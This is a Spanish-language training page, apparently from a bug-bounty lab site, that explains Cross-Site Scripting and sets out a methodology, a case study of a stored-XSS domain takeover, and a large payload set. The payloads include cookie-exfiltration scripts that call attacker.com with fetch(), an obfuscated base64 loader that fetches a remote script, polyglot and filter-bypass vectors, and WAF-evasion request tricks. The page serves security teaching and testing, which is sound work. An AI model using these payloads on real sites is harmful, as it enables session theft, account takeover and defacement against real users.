Nuevos labs cada semana — Accede a todos desde 5€/mes

Cross-Site Scripting (XSS)

Inyección de código en el navegador de la víctima

Respuesta rápida

¿Qué es Cross-Site Scripting?

El XSS permite inyectar scripts maliciosos en páginas web que otros usuarios visitan. Es una de las vulnerabilidades más comunes y puede llevar a robo de sesiones, defacement, phishing o ejecución de acciones como la víctima.

Severidad

Alto

Frecuencia

Muy común

Payloads

12

Pasos

6

Severidad

Alto

Frecuencia

Muy común

Payloads

12

Existe XSS cuando el input del usuario se refleja en el HTML de la página sin sanitizar correctamente. Puede ser Reflected (en la URL), Stored (guardado en BD) o DOM-based (manipulación del DOM en el cliente). El impacto varía desde robo de cookies hasta account takeover completo.

Robo de sesiones (cookies)Account takeoverKeyloggingPhishing dirigidoDefacementEjecución de acciones como la víctima

Dónde buscar

Campos de texto reflejados

Nombres, bios, descripciones — cualquier input que aparezca en la página. Prueba con un canary: aaaaaa<>"' para ver qué se escapa.

Parámetros de URL

Parámetros de búsqueda, redirección, mensajes de error. Si el valor aparece en el HTML de respuesta, es un vector potencial.

Formularios de contacto (Blind XSS)

El admin verá tu payload cuando revise el mensaje. Usa XSS Hunter o similar para detectar ejecución diferida.

Subida de archivos SVG

Los SVGs son XML y pueden contener JavaScript. Muchos filtros los permiten porque son 'imágenes'.

Rich text editors

Editores WYSIWYG que permiten HTML. Prueba a inyectar tags no estándar o atributos de evento.

Objetos JavaScript globales

Busca window.__NEXT_DATA__, window.CONFIG, window.__INITIAL_STATE__ — pueden contener datos sin sanitizar.

Metodología

1

Identificar puntos de reflexión

Inyecta un canary único (ej: bb1337test) en cada campo y busca dónde aparece en el HTML de respuesta.

2

Analizar el contexto

¿Estás dentro de un tag HTML, un atributo, un bloque <script>, o CSS? Cada contexto requiere payloads diferentes.

3

Probar escapes

Envía caracteres especiales: < > " ' / y observa cuáles se escapan y cuáles no.

4

Adaptar el payload

Si estás en un atributo: "> para cerrar. En un script: '; para romper la string. En HTML: directamente <script> o event handlers.

5

Verificar ejecución

No basta con ver el payload en el código — confirma que se ejecuta (alert, console.log, o fetch a tu servidor).

6

Escalar el impacto

De alert() pasa a: exfiltrar document.cookie, inyectar formulario de phishing, o ejecutar acciones con el CSRF token de la víctima.

Caso real

Stored XSS en campo de nombre de template → Domain Takeover

$1,200
1

Acceso delegado

El atacante tiene acceso a la plataforma como contractor con permisos limitados (acceso delegado por la víctima).

2

Inyección en campo 'inocente'

Inyecta <img src=x onerror=...> en el campo 'nombre de template' — un campo que nadie audita porque parece descriptivo.

3

Persistencia en BD

El payload se guarda en la base de datos. Incluso si se revoca el acceso del atacante, el payload persiste.

4

Ejecución en contexto de la víctima

Cuando la víctima duplica o visualiza el template, el script se ejecuta con su sesión autenticada.

5

Escalada a Domain Takeover

El script modifica los registros DNS de la víctima, redirigiendo su dominio al servidor del atacante.

Lección: Los campos 'descriptivos' (nombres, títulos, labels) son vectores frecuentes porque los desarrolladores no esperan HTML ahí. La persistencia del payload después de revocar acceso es un factor de riesgo adicional.

Payloads

Básico — img onerror

<img src=x onerror=alert(1)>

Cerrar atributo + SVG

"><svg onload=alert(1)>

Event handler — details

<details open ontoggle=alert(1)>

JavaScript URI

javascript:alert(document.domain)

Dentro de string JS

'-alert(1)-'

Animate — sin interacción

<svg><animate onbegin=alert(1) attributeName=x dur=1s>

Payloads avanzados(requiere cuenta)

Blind XSS con exfiltración

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzaHVudGVyLnlvdXIuaWQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

Polyglot XSS

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

SVG file upload

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/'+document.cookie)">

math + mglyph bypass

<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

Cookie exfiltration

<script>fetch("https://attacker.com/log?c="+document.cookie)</script>

Rich text editor bypass

<</p>iframe src=javascript:alert()//>

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

XSS Hunter

Plataforma para detectar Blind XSS. Genera payloads que te notifican cuando se ejecutan.

https://xsshunter.trufflesecurity.com/

Dalfox

Scanner automático de XSS con soporte para blind XSS y bypass de filtros.

dalfox url 'https://target.com/search?q=FUZZ' --blind https://your.xsshunter.id

CSP Evaluator

Analiza la Content Security Policy de un sitio para encontrar debilidades.

https://csp-evaluator.withgoogle.com/

WAF Bypass

Oversized body (Cloudflare Free ~8KB)

padding=AAAA[8000+ bytes]&vuln=<script>alert(1)</script>

Header stuffing (>94 headers)

X-Dummy-1: a\nX-Dummy-2: a\n[...92 más...]\nX-Real-Payload: <script>alert(1)</script>

Doble boundary en multipart

Content-Type: multipart/form-data; boundary=----Safe; boundary=EVIL\n------EVIL\nContent-Disposition: form-data; name="vuln"\n<script>alert(1)</script>

Charset encoding (EBCDIC)

Content-Type: application/x-www-form-urlencoded; charset=ibm037

Tips

Prueba en TODOS los campos

Incluso campos como 'nombre de empresa' o 'dirección' pueden ser vulnerables si se reflejan sin sanitizar.

Blind XSS en formularios de contacto

El admin verá tu payload cuando revise el mensaje. Los paneles de admin suelen tener menos sanitización.

CSP no es invencible

Busca endpoints JSONP del mismo dominio, o data: URIs si 'unsafe-inline' está permitido.

Persistencia post-revocación

Si inyectas XSS vía acceso delegado, verifica que el payload persiste incluso después de que revoquen tu acceso.

PDF generation = XSS server-side

Los generadores de PDF (wkhtmltopdf, Puppeteer) ejecutan HTML/JS — son vectores de SSRF vía XSS.

Practica Cross-Site Scripting con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.